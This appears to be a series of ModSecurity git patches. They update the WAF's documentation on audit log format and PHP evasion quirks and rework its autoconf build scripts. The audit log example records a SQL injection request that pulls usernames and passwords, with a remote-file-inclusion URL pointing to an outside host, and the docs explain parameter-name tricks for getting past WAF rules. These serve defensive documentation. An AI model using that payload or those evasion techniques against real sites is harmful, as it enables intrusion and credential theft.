- Audit Log - - ModSecurity records one transaction in a single audit log file. - Below is an example: - - --c7036611-A-- -[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80 ---c7036611-B-- -GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77), - password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from - /**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt? - HTTP/1.1 -TE: deflate,gzip;q=0.3 -Connection: TE, cslose -Host: www.example.com -User-Agent: libwww-perl/5.808 - ---c7036611-F-- -HTTP/1.1 404 Not Found -Content-Length: 223 -Connection: close -Content-Type: text/html; charset=iso-8859-1 - ---c7036611-H-- -Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"] - [msg "Request Indicates an automated program explored the site"] [severity "NOTICE"] -Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100} - ?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_ - (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"] - [msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"] -Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3] - File does not exist: /var/www/EvilBoard_0.1a -Stopwatch: 1199881676978327 2514 (396 2224 -) -Producer: ModSecurity v2.x.x (Apache 2.x) -Server: Apache/2.x.x - ---c7036611-Z-- - - - The file consist of multiple sections, each in different format. - Separators are used to define sections: - - --c7036611-A-- - - A separator always begins on a new line and conforms to the - following format: - - - - Two dashes - - - - Unique boundary, which consists from several hexadecimal - characters. - - - - One dash character. - - - - Section identifier, currently a single uppercase - letter. - - - - Two trailing dashes. - - - - Refer to the documentation for SecAuditLogParts - for the explanation of each part. -
-
-
Miscellaneous Topics - - - +
Impedance Mismatch - - Web application firewalls have a difficult job trying to make - sense of data that passes by, without any knowledge of the application - and its business logic. The protection they provide comes from having an - independent layer of security on the outside. Because data validation is - done twice, security can be increased without having to touch the - application. In some cases, however, the fact that everything is done - twice brings problems. Problems can arise in the areas where the - communication protocols are not well specified, or where either the - device or the application do things that are not in the specification. - In such cases it may be possible to design payload that will be - interpreted in one way by one device and in another by the other device. - This problem is better known as Impedance Mismatch. It can be exploited - to evade the security devices. - - While we will continue to enhance ModSecurity to deal with various - evasion techniques the problem can only be minimized, but never solved. - With so many different application backend chances are some will always - do something completely unexpected. The only solution is to be aware of - the technologies in the backend when writing rules, adapting the rules - to remove the mismatch. See the next section for some examples. - + Web application firewalls have a difficult job trying to make sense of data that passes + by, without any knowledge of the application and its business logic. The protection they + provide comes from having an independent layer of security on the outside. Because data + validation is done twice, security can be increased without having to touch the application. + In some cases, however, the fact that everything is done twice brings problems. Problems can + arise in the areas where the communication protocols are not well specified, or where either + the device or the application do things that are not in the specification. In such cases it + may be possible to design payload that will be interpreted in one way by one device and in + another by the other device. This problem is better known as Impedance Mismatch. It can be + exploited to evade the security devices. + While we will continue to enhance ModSecurity to deal with various evasion techniques + the problem can only be minimized, but never solved. With so many different application + backend chances are some will always do something completely unexpected. The only solution + is to be aware of the technologies in the backend when writing rules, adapting the rules to + remove the mismatch. See the next section for some examples.
PHP Peculiarities for ModSecurity Users - - When writing rules to protect PHP applications you need to pay - attention to the following facts: - + When writing rules to protect PHP applications you need to pay attention to the + following facts: - When "register_globals" is set to "On" request parameters - are automatically converted to script variables. In some PHP - versions it is even possible to override the $GLOBALS - array. + When "register_globals" is set to "On" request parameters are automatically + converted to script variables. In some PHP versions it is even possible to override + the $GLOBALS array. - - Whitespace at the beginning of parameter names is ignored. - (This is very dangerous if you are writing rules to target - specific named variables.) + Whitespace at the beginning of parameter names is ignored. (This is very dangerous + if you are writing rules to target specific named variables.) - - The remaining whitespace (in parameter names) is converted - to underscores. The same applies to dots and to a "[" if the - variable name does not contain a matching closing bracket. - (Meaning that if you want to exploit a script through a variable - that contains an underscore in the name you can send a parameter - with a whitespace or a dot instead.) + The remaining whitespace (in parameter names) is converted to underscores. The + same applies to dots and to a "[" if the variable name does not contain a matching + closing bracket. (Meaning that if you want to exploit a script through a variable that + contains an underscore in the name you can send a parameter with a whitespace or a dot + instead.) - Cookies can be treated as request parameters. - - The discussion about variable names applies equally to the - cookie names. + The discussion about variable names applies equally to the cookie names. - - The order in which parameters are taken from the request and - the environment is EGPCS (environment, GET, POST, Cookies, - built-in variables). This means that a POST parameter will - overwrite the parameters transported on the request line (in - QUERY_STRING). + The order in which parameters are taken from the request and the environment is + EGPCS (environment, GET, POST, Cookies, built-in variables). This means that a POST + parameter will overwrite the parameters transported on the request line (in + QUERY_STRING). - - When "magic_quotes_gpc" is set to "On" PHP will use - backslash to escape the following characters: single quote, double - quote, backslash, and the nul byte. + When "magic_quotes_gpc" is set to "On" PHP will use backslash to escape the + following characters: single quote, double quote, backslash, and the nul byte. - - If "magic_quotes_sybase" is set to "On" only the single - quote will be escaped using another single quote. In this case the - "magic_quotes_gpc" setting becomes irrelevant. The - "magic_quotes_sybase" setting completely overrides the - "magic_quotes_gpc" behaviour but "magic_quotes_gpc" still must be - set to "On" for the Sybase-specific quoting to be work. + If "magic_quotes_sybase" is set to "On" only the single quote will be escaped + using another single quote. In this case the "magic_quotes_gpc" setting becomes + irrelevant. The "magic_quotes_sybase" setting completely overrides the + "magic_quotes_gpc" behaviour but "magic_quotes_gpc" still must be set to "On" for the + Sybase-specific quoting to be work. - - PHP will also automatically create nested arrays for you. - For example "p[x][y]=1" results in a total of three - variables. + PHP will also automatically create nested arrays for you. For example "p[x][y]=1" + results in a total of three variables.
From 4f3c9d991a90e0bc9a69c0379d1279185ca7efa1 Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 3 Dec 2008 15:07:49 +0000 Subject: [PATCH 107/110] Small clarifications. --- doc/modsecurity2-data-formats.xml | 23 +++++++++++++++-------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/doc/modsecurity2-data-formats.xml b/doc/modsecurity2-data-formats.xml index f3cedd90..12ffe318 100644 --- a/doc/modsecurity2-data-formats.xml +++ b/doc/modsecurity2-data-formats.xml @@ -4,7 +4,7 @@
ModSecurity 2 Data Formats - Version 2.6.0-trunk (November 27, 2008) + Version 2.6.0-trunk (December 3, 2008) 2004-2008 Breach Security, Inc. (Unique transaction ID - Source IP address (IPv4) + Source IP address (IPv4 or IPv6) Source port - Destination IP address (IPv4) + Destination IP address (IPv4 or IPv6) Destination port @@ -556,10 +556,13 @@ Server: Apache/2.x.x Response Headers (<literal>F</literal>) This part contains the actual response headers sent to the client. Since ModSecurity 2.x for Apache does not access the raw connection data, it - constructs part F out of the internal Apache data structures that hold the - response headers. Some headers are generated just before they are sent and - ModSecurity is not able to record those. They are the Date - and Server response headers. + constructs part F out of the internal Apache data structures + that hold the response headers. + Some headers (the Date and Server + response headers) are generated just before they are sent and ModSecurity is not + able to record those. You should note than ModSecurity is working as part of a + reverse proxy, the backend web server will have generated these two servers, and + in that case they will be recorded.
Response Body (G) @@ -776,7 +779,11 @@ Server: Apache/2.x.x
Matched Rules (<literal>K</literal>) The matched rules part contains a record of all ModSecurity rules that matched - during transaction processing. + during transaction processing. You should note that if a rule that belongs to a + chain matches then the entire chain will be recorded. This is because, even + though the disruptive action may not have executed, other per-rule actions have, + and you will need to see the entire chain in order to understand the + rules. This part is available starting with ModSecurity 2.5.x.
From bef5c53c09361740110f486da8e7c81320c0de32 Mon Sep 17 00:00:00 2001 From: b1v1r Date: Wed, 18 Feb 2009 18:01:39 +0000 Subject: [PATCH 108/110] Removed "make -C ..." in favor of a more portable method. Added verbose output option to configure. --- apache2/Makefile.in | 6 +- apache2/configure | 392 ++++++++++++++++++++++++------------------- apache2/configure.in | 240 ++++++++++++++------------ 3 files changed, 355 insertions(+), 283 deletions(-) diff --git a/apache2/Makefile.in b/apache2/Makefile.in index 29314190..df888284 100644 --- a/apache2/Makefile.in +++ b/apache2/Makefile.in @@ -66,8 +66,8 @@ install: install-mods clean-extras: @for dir in mlogc-src; do \ - if test -d $$dir; then \ - $(MAKE) -C $$dir clean; \ + if test -d $$dir; then \ + (cd $$dir && $(MAKE) clean); \ fi; \ done @rm -rf ../tools/mlogc ../tools/mlogc-batch-load.pl @@ -97,7 +97,7 @@ mod_security2.la: $(MOD_SECURITY2_H) *.c ### MLogC mlogc: - @$(MAKE) -C mlogc-src mlogc \ + @(cd mlogc-src && $(MAKE) mlogc) \ && cp -p mlogc-src/mlogc ../tools \ && cp -p mlogc-src/mlogc-batch-load.pl ../tools \ && echo \ diff --git a/apache2/configure b/apache2/configure index 4932ebaa..cadd4d28 100755 --- a/apache2/configure +++ b/apache2/configure @@ -1296,6 +1296,7 @@ if test -n "$ac_init_help"; then Optional Features: --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --enable-verbose-output Enable more verbose configure output. --enable-strict-compile Enable strict compilation (warnings are errors). --enable-debug-conf Enable debug during configuration. --enable-debug-cache Enable debug for transformation caching. @@ -5017,182 +5018,25 @@ MSC_REGRESSION_DOCROOT_DIR="$MSC_REGRESSION_SERVERROOT_DIR/htdocs" -# Find apxs -{ echo "$as_me:$LINENO: looking for Apache module support via DSO through APXS" >&5 -echo "$as_me: looking for Apache module support via DSO through APXS" >&6;} - -# Check whether --with-apxs was given. -if test "${with_apxs+set}" = set; then - withval=$with_apxs; - if test "$withval" = "yes"; then - APXS=apxs - else - APXS="$withval" - fi - -fi - - -if test -z "$APXS"; then - for i in /usr/local/apache22/bin \ - /usr/local/apache2/bin \ - /usr/local/apache/bin \ - /usr/local/sbin \ - /usr/local/bin \ - /usr/sbin \ - /usr/bin; - do - if test -f "$i/apxs2"; then - APXS="$i/apxs2" - break - elif test -f "$i/apxs"; then - APXS="$i/apxs" - break - fi - done -fi - -# arbitrarily picking the same version subversion looks for, don't know how -# accurate this really is, but at least it'll force us to have apache2... -HTTPD_WANTED_MMN=20020903 - -if test -n "$APXS" -a "$APXS" != "no" -a -x "$APXS" ; then - APXS_INCLUDE="`$APXS -q INCLUDEDIR`" - if test -r $APXS_INCLUDE/httpd.h; then - { echo "$as_me:$LINENO: found apxs at $APXS" >&5 -echo "$as_me: found apxs at $APXS" >&6;} - { echo "$as_me:$LINENO: checking httpd version" >&5 -echo "$as_me: checking httpd version" >&6;} - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -#include "$APXS_INCLUDE/ap_mmn.h" -#if AP_MODULE_MAGIC_AT_LEAST($HTTPD_WANTED_MMN,0) -VERSION_OK -#endif -_ACEOF -if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | - $EGREP "VERSION_OK" >/dev/null 2>&1; then - { echo "$as_me:$LINENO: httpd is recent enough" >&5 -echo "$as_me: httpd is recent enough" >&6;} -else - { { echo "$as_me:$LINENO: error: apache is too old" >&5 -echo "$as_me: error: apache is too old" >&2;} - { (exit mmn must be at least $HTTPD_WANTED_MMN); exit mmn must be at least $HTTPD_WANTED_MMN; }; } -fi -rm -f conftest* - - fi - APXS_INCLUDEDIR="`$APXS -q INCLUDEDIR`" - # Make sure the include dir is used - if test -n "$APXS_INCLUDEDIR"; then - APXS_INCLUDES="-I${APXS_INCLUDEDIR} `$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" - else - APXS_INCLUDES="`$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" - fi - APXS_CFLAGS="`$APXS -q CFLAGS` `$APXS -q EXTRA_CFLAGS`" - APXS_LDFLAGS="`$APXS -q LDFLAGS` `$APXS -q EXTRA_LDFLAGS`" - APXS_LIBDIR="`$APXS -q LIBDIR`" - # Make sure the lib dir is used - if test -n "$APXS_LIBDIR"; then - APXS_LIBS="-L{$APXS_LIBDIR} `$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" - else - APXS_LIBS="`$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" - fi - APXS_LIBTOOL="`$APXS -q LIBTOOL`" - APXS_CC="`$APXS -q CC`" - APXS_BINDIR="`$APXS -q BINDIR`" - APXS_SBINDIR="`$APXS -q SBINDIR`" - APXS_PROGNAME="`$APXS -q PROGNAME`" - APXS_LIBEXECDIR="`$APXS -q LIBEXECDIR`" - if test "$APXS_SBINDIR" = "/"; then - APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" - else - APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" - fi -else - { { echo "$as_me:$LINENO: error: couldn't find APXS" >&5 -echo "$as_me: error: couldn't find APXS" >&2;} - { (exit 1); exit 1; }; } -fi - -# Use Apache httpd source srclib as base for pcre, apr and apu config scripts - -# Check whether --with-httpd-src was given. -if test "${with_httpd_src+set}" = set; then - withval=$with_httpd_src; - if test -n "$withval"; then - CPPFLAGS="$CPPFLAGS -I$withval/srclib/pcre" - LDFLAGS="$LDFLAGS -L$withval/srclib/pcre" - pcre_path="$withval/srclib/pcre" - apr_path="$withval/srclib/apr" - apu_path="$withval/srclib/apr-util" - else - { { echo "$as_me:$LINENO: error: --with-httpd-src requires a path" >&5 -echo "$as_me: error: --with-httpd-src requires a path" >&2;} - { (exit 1); exit 1; }; } - fi - -fi - - -# Include M4 macros - -PCRE_CONFIG="pcre-config" -PCRE_CFLAGS="" -PCRE_LIBS="" - - - - -APR_CONFIG="" -APR_CFLAGS="" -APR_LDFLAGS="" -APR_LIBS="" -APR_LINK_LD="" - - - - -APU_CONFIG="" -APU_CFLAGS="" -APU_LDFLAGS="" -APU_LIBS="" -APU_LINK_LD="" - - - - -LIBXML_CONFIG="xml2-config" -LIBXML_CFLAGS="" -LIBXML_LIBS="" - - - - -LUA_CONFIG="pkg-config" -LUA_PKGNAMES="lua5.1 lua5 lua" -LUA_CFLAGS="" -LUA_LIBS="" -LUA_SONAMES="so la sl dll dylib" - - - - -CURL_CONFIG="curl-config" -CURL_CFLAGS="" -CURL_LIBS="" - - - - - ### Configure Options +# Verbose output +# Check whether --enable-verbose-output was given. +if test "${enable_verbose_output+set}" = set; then + enableval=$enable_verbose_output; + if test "$enableval" != "no"; then + verbose_output=1 + else + verbose_output=0 + fi + +else + + verbose_output=0 + +fi + + # Strict Compile # Check whether --enable-strict-compile was given. if test "${enable_strict_compile+set}" = set; then @@ -5312,6 +5156,206 @@ else fi +# Find apxs +{ echo "$as_me:$LINENO: looking for Apache module support via DSO through APXS" >&5 +echo "$as_me: looking for Apache module support via DSO through APXS" >&6;} + +# Check whether --with-apxs was given. +if test "${with_apxs+set}" = set; then + withval=$with_apxs; + if test "$withval" = "yes"; then + APXS=apxs + else + APXS="$withval" + fi + +fi + + +if test -z "$APXS"; then + for i in /usr/local/apache22/bin \ + /usr/local/apache2/bin \ + /usr/local/apache/bin \ + /usr/local/sbin \ + /usr/local/bin \ + /usr/sbin \ + /usr/bin; + do + if test -f "$i/apxs2"; then + APXS="$i/apxs2" + break + elif test -f "$i/apxs"; then + APXS="$i/apxs" + break + fi + done +fi + +# arbitrarily picking the same version subversion looks for, don't know how +# accurate this really is, but at least it'll force us to have apache2... +HTTPD_WANTED_MMN=20020903 + +if test -n "$APXS" -a "$APXS" != "no" -a -x "$APXS" ; then + APXS_INCLUDE="`$APXS -q INCLUDEDIR`" + if test -r $APXS_INCLUDE/httpd.h; then + { echo "$as_me:$LINENO: found apxs at $APXS" >&5 +echo "$as_me: found apxs at $APXS" >&6;} + { echo "$as_me:$LINENO: checking httpd version" >&5 +echo "$as_me: checking httpd version" >&6;} + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +#include "$APXS_INCLUDE/ap_mmn.h" +#if AP_MODULE_MAGIC_AT_LEAST($HTTPD_WANTED_MMN,0) +VERSION_OK +#endif +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "VERSION_OK" >/dev/null 2>&1; then + { echo "$as_me:$LINENO: httpd is recent enough" >&5 +echo "$as_me: httpd is recent enough" >&6;} +else + { { echo "$as_me:$LINENO: error: apache is too old" >&5 +echo "$as_me: error: apache is too old" >&2;} + { (exit mmn must be at least $HTTPD_WANTED_MMN); exit mmn must be at least $HTTPD_WANTED_MMN; }; } +fi +rm -f conftest* + + fi + APXS_INCLUDEDIR="`$APXS -q INCLUDEDIR`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs INCLUDEDIR: $APXS_INCLUDEDIR" >&5 +echo "$as_me: apxs INCLUDEDIR: $APXS_INCLUDEDIR" >&6;}; fi + # Make sure the include dir is used + if test -n "$APXS_INCLUDEDIR"; then + APXS_INCLUDES="-I${APXS_INCLUDEDIR} `$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + else + APXS_INCLUDES="`$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + fi + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs INCLUDES: $APXS_INCLUDES" >&5 +echo "$as_me: apxs INCLUDES: $APXS_INCLUDES" >&6;}; fi + APXS_CFLAGS="`$APXS -q CFLAGS` `$APXS -q EXTRA_CFLAGS`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs CFLAGS: $APXS_CFLAGS" >&5 +echo "$as_me: apxs CFLAGS: $APXS_CFLAGS" >&6;}; fi + APXS_LDFLAGS="`$APXS -q LDFLAGS` `$APXS -q EXTRA_LDFLAGS`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs LDFLAGS: $APXS_LDFLAGS" >&5 +echo "$as_me: apxs LDFLAGS: $APXS_LDFLAGS" >&6;}; fi + APXS_LIBDIR="`$APXS -q LIBDIR`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs LIBDIR: $APXS_LIBDIR" >&5 +echo "$as_me: apxs LIBDIR: $APXS_LIBDIR" >&6;}; fi + # Make sure the lib dir is used + if test -n "$APXS_LIBDIR"; then + APXS_LIBS="-L{$APXS_LIBDIR} `$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + else + APXS_LIBS="`$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + fi + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs LIBS: $APXS_LIBS" >&5 +echo "$as_me: apxs LIBS: $APXS_LIBS" >&6;}; fi + APXS_LIBTOOL="`$APXS -q LIBTOOL`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs LIBTOOL: $APXS_LIBTOOL" >&5 +echo "$as_me: apxs LIBTOOL: $APXS_LIBTOOL" >&6;}; fi + APXS_CC="`$APXS -q CC`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs CC: $APXS_CC" >&5 +echo "$as_me: apxs CC: $APXS_CC" >&6;}; fi + APXS_BINDIR="`$APXS -q BINDIR`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs BINDIR: $APXS_BINDIR" >&5 +echo "$as_me: apxs BINDIR: $APXS_BINDIR" >&6;}; fi + APXS_SBINDIR="`$APXS -q SBINDIR`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs SBINDIR: $APXS_SBINDIR" >&5 +echo "$as_me: apxs SBINDIR: $APXS_SBINDIR" >&6;}; fi + APXS_PROGNAME="`$APXS -q PROGNAME`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs PROGNAME: $APXS_PROGNAME" >&5 +echo "$as_me: apxs PROGNAME: $APXS_PROGNAME" >&6;}; fi + APXS_LIBEXECDIR="`$APXS -q LIBEXECDIR`" + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs LIBEXECDIR: $APXS_LIBEXECDIR" >&5 +echo "$as_me: apxs LIBEXECDIR: $APXS_LIBEXECDIR" >&6;}; fi + if test "$APXS_SBINDIR" = "/"; then + APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" + else + APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" + fi + if test "$verbose_output" -eq 1; then { echo "$as_me:$LINENO: apxs HTTPD: $APXS_HTTPD" >&5 +echo "$as_me: apxs HTTPD: $APXS_HTTPD" >&6;}; fi +else + { { echo "$as_me:$LINENO: error: couldn't find APXS" >&5 +echo "$as_me: error: couldn't find APXS" >&2;} + { (exit 1); exit 1; }; } +fi + +# Use Apache httpd source srclib as base for pcre, apr and apu config scripts + +# Check whether --with-httpd-src was given. +if test "${with_httpd_src+set}" = set; then + withval=$with_httpd_src; + if test -n "$withval"; then + CPPFLAGS="$CPPFLAGS -I$withval/srclib/pcre" + LDFLAGS="$LDFLAGS -L$withval/srclib/pcre" + pcre_path="$withval/srclib/pcre" + apr_path="$withval/srclib/apr" + apu_path="$withval/srclib/apr-util" + else + { { echo "$as_me:$LINENO: error: --with-httpd-src requires a path" >&5 +echo "$as_me: error: --with-httpd-src requires a path" >&2;} + { (exit 1); exit 1; }; } + fi + +fi + + +# Include M4 macros + +PCRE_CONFIG="pcre-config" +PCRE_CFLAGS="" +PCRE_LIBS="" + + + + +APR_CONFIG="" +APR_CFLAGS="" +APR_LDFLAGS="" +APR_LIBS="" +APR_LINK_LD="" + + + + +APU_CONFIG="" +APU_CFLAGS="" +APU_LDFLAGS="" +APU_LIBS="" +APU_LINK_LD="" + + + + +LIBXML_CONFIG="xml2-config" +LIBXML_CFLAGS="" +LIBXML_LIBS="" + + + + +LUA_CONFIG="pkg-config" +LUA_PKGNAMES="lua5.1 lua5 lua" +LUA_CFLAGS="" +LUA_LIBS="" +LUA_SONAMES="so la sl dll dylib" + + + + +CURL_CONFIG="curl-config" +CURL_CFLAGS="" +CURL_LIBS="" + + + + + ### Build *EXTRA_CFLAGS vars if test -n "$debug_mem"; then diff --git a/apache2/configure.in b/apache2/configure.in index 55c9ff17..36a35933 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -58,114 +58,23 @@ AC_SUBST(MSC_REGRESSION_CONF_DIR) AC_SUBST(MSC_REGRESSION_LOGS_DIR) AC_SUBST(MSC_REGRESSION_DOCROOT_DIR) -# Find apxs -AC_MSG_NOTICE(looking for Apache module support via DSO through APXS) -AC_ARG_WITH(apxs, - [AS_HELP_STRING([[--with-apxs=FILE]], - [FILE is the path to apxs; defaults to "apxs".])], -[ - if test "$withval" = "yes"; then - APXS=apxs - else - APXS="$withval" - fi -]) - -if test -z "$APXS"; then - for i in /usr/local/apache22/bin \ - /usr/local/apache2/bin \ - /usr/local/apache/bin \ - /usr/local/sbin \ - /usr/local/bin \ - /usr/sbin \ - /usr/bin; - do - if test -f "$i/apxs2"; then - APXS="$i/apxs2" - break - elif test -f "$i/apxs"; then - APXS="$i/apxs" - break - fi - done -fi - -# arbitrarily picking the same version subversion looks for, don't know how -# accurate this really is, but at least it'll force us to have apache2... -HTTPD_WANTED_MMN=20020903 - -if test -n "$APXS" -a "$APXS" != "no" -a -x "$APXS" ; then - APXS_INCLUDE="`$APXS -q INCLUDEDIR`" - if test -r $APXS_INCLUDE/httpd.h; then - AC_MSG_NOTICE(found apxs at $APXS) - AC_MSG_NOTICE(checking httpd version) - AC_EGREP_CPP(VERSION_OK, - [ -#include "$APXS_INCLUDE/ap_mmn.h" -#if AP_MODULE_MAGIC_AT_LEAST($HTTPD_WANTED_MMN,0) -VERSION_OK -#endif], - [AC_MSG_NOTICE(httpd is recent enough)], - [AC_MSG_ERROR(apache is too old, mmn must be at least $HTTPD_WANTED_MMN)]) - fi - APXS_INCLUDEDIR="`$APXS -q INCLUDEDIR`" - # Make sure the include dir is used - if test -n "$APXS_INCLUDEDIR"; then - APXS_INCLUDES="-I${APXS_INCLUDEDIR} `$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" - else - APXS_INCLUDES="`$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" - fi - APXS_CFLAGS="`$APXS -q CFLAGS` `$APXS -q EXTRA_CFLAGS`" - APXS_LDFLAGS="`$APXS -q LDFLAGS` `$APXS -q EXTRA_LDFLAGS`" - APXS_LIBDIR="`$APXS -q LIBDIR`" - # Make sure the lib dir is used - if test -n "$APXS_LIBDIR"; then - APXS_LIBS="-L{$APXS_LIBDIR} `$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" - else - APXS_LIBS="`$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" - fi - APXS_LIBTOOL="`$APXS -q LIBTOOL`" - APXS_CC="`$APXS -q CC`" - APXS_BINDIR="`$APXS -q BINDIR`" - APXS_SBINDIR="`$APXS -q SBINDIR`" - APXS_PROGNAME="`$APXS -q PROGNAME`" - APXS_LIBEXECDIR="`$APXS -q LIBEXECDIR`" - if test "$APXS_SBINDIR" = "/"; then - APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" - else - APXS_HTTPD="$APXS_SBINDIR/$APXS_PROGNAME" - fi -else - AC_MSG_ERROR(couldn't find APXS) -fi - -# Use Apache httpd source srclib as base for pcre, apr and apu config scripts -AC_ARG_WITH(httpd-src, - [AS_HELP_STRING([[--with-httpd-src=PATH]], - [PATH is to the Apache httpd source tree where srclib will be used as a base for pcre, apr and apu config scripts.])], -[ - if test -n "$withval"; then - CPPFLAGS="$CPPFLAGS -I$withval/srclib/pcre" - LDFLAGS="$LDFLAGS -L$withval/srclib/pcre" - pcre_path="$withval/srclib/pcre" - apr_path="$withval/srclib/apr" - apu_path="$withval/srclib/apr-util" - else - AC_MSG_ERROR(--with-httpd-src requires a path) - fi -]) - -# Include M4 macros -sinclude(build/find_pcre.m4) -sinclude(build/find_apr.m4) -sinclude(build/find_apu.m4) -sinclude(build/find_xml.m4) -sinclude(build/find_lua.m4) -sinclude(build/find_curl.m4) - - ### Configure Options +# Verbose output +AC_ARG_ENABLE(verbose-output, + AS_HELP_STRING([--enable-verbose-output], + [Enable more verbose configure output.]), +[ + if test "$enableval" != "no"; then + verbose_output=1 + else + verbose_output=0 + fi +], +[ + verbose_output=0 +]) + # Strict Compile AC_ARG_ENABLE(strict-compile, AS_HELP_STRING([--enable-strict-compile], @@ -271,6 +180,125 @@ AC_ARG_ENABLE(modsec-api, modsec_api= ]) +# Find apxs +AC_MSG_NOTICE(looking for Apache module support via DSO through APXS) +AC_ARG_WITH(apxs, + [AS_HELP_STRING([[--with-apxs=FILE]], + [FILE is the path to apxs; defaults to "apxs".])], +[ + if test "$withval" = "yes"; then + APXS=apxs + else + APXS="$withval" + fi +]) + +if test -z "$APXS"; then + for i in /usr/local/apache22/bin \ + /usr/local/apache2/bin \ + /usr/local/apache/bin \ + /usr/local/sbin \ + /usr/local/bin \ + /usr/sbin \ + /usr/bin; + do + if test -f "$i/apxs2"; then + APXS="$i/apxs2" + break + elif test -f "$i/apxs"; then + APXS="$i/apxs" + break + fi + done +fi + +# arbitrarily picking the same version subversion looks for, don't know how +# accurate this really is, but at least it'll force us to have apache2... +HTTPD_WANTED_MMN=20020903 + +if test -n "$APXS" -a "$APXS" != "no" -a -x "$APXS" ; then + APXS_INCLUDE="`$APXS -q INCLUDEDIR`" + if test -r $APXS_INCLUDE/httpd.h; then + AC_MSG_NOTICE(found apxs at $APXS) + AC_MSG_NOTICE(checking httpd version) + AC_EGREP_CPP(VERSION_OK, + [ +#include "$APXS_INCLUDE/ap_mmn.h" +#if AP_MODULE_MAGIC_AT_LEAST($HTTPD_WANTED_MMN,0) +VERSION_OK +#endif], + [AC_MSG_NOTICE(httpd is recent enough)], + [AC_MSG_ERROR(apache is too old, mmn must be at least $HTTPD_WANTED_MMN)]) + fi + APXS_INCLUDEDIR="`$APXS -q INCLUDEDIR`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs INCLUDEDIR: $APXS_INCLUDEDIR); fi + # Make sure the include dir is used + if test -n "$APXS_INCLUDEDIR"; then + APXS_INCLUDES="-I${APXS_INCLUDEDIR} `$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + else + APXS_INCLUDES="`$APXS -q INCLUDES` `$APXS -q EXTRA_INCLUDES`" + fi + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs INCLUDES: $APXS_INCLUDES); fi + APXS_CFLAGS="`$APXS -q CFLAGS` `$APXS -q EXTRA_CFLAGS`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs CFLAGS: $APXS_CFLAGS); fi + APXS_LDFLAGS="`$APXS -q LDFLAGS` `$APXS -q EXTRA_LDFLAGS`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs LDFLAGS: $APXS_LDFLAGS); fi + APXS_LIBDIR="`$APXS -q LIBDIR`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs LIBDIR: $APXS_LIBDIR); fi + # Make sure the lib dir is used + if test -n "$APXS_LIBDIR"; then + APXS_LIBS="-L{$APXS_LIBDIR} `$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + else + APXS_LIBS="`$APXS -q LIBS` `$APXS -q EXTRA_LIBS`" + fi + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs LIBS: $APXS_LIBS); fi + APXS_LIBTOOL="`$APXS -q LIBTOOL`" + if test "$verbose_output" -eq 1; then AC_MSG_NOTICE(apxs LIBTOOL: 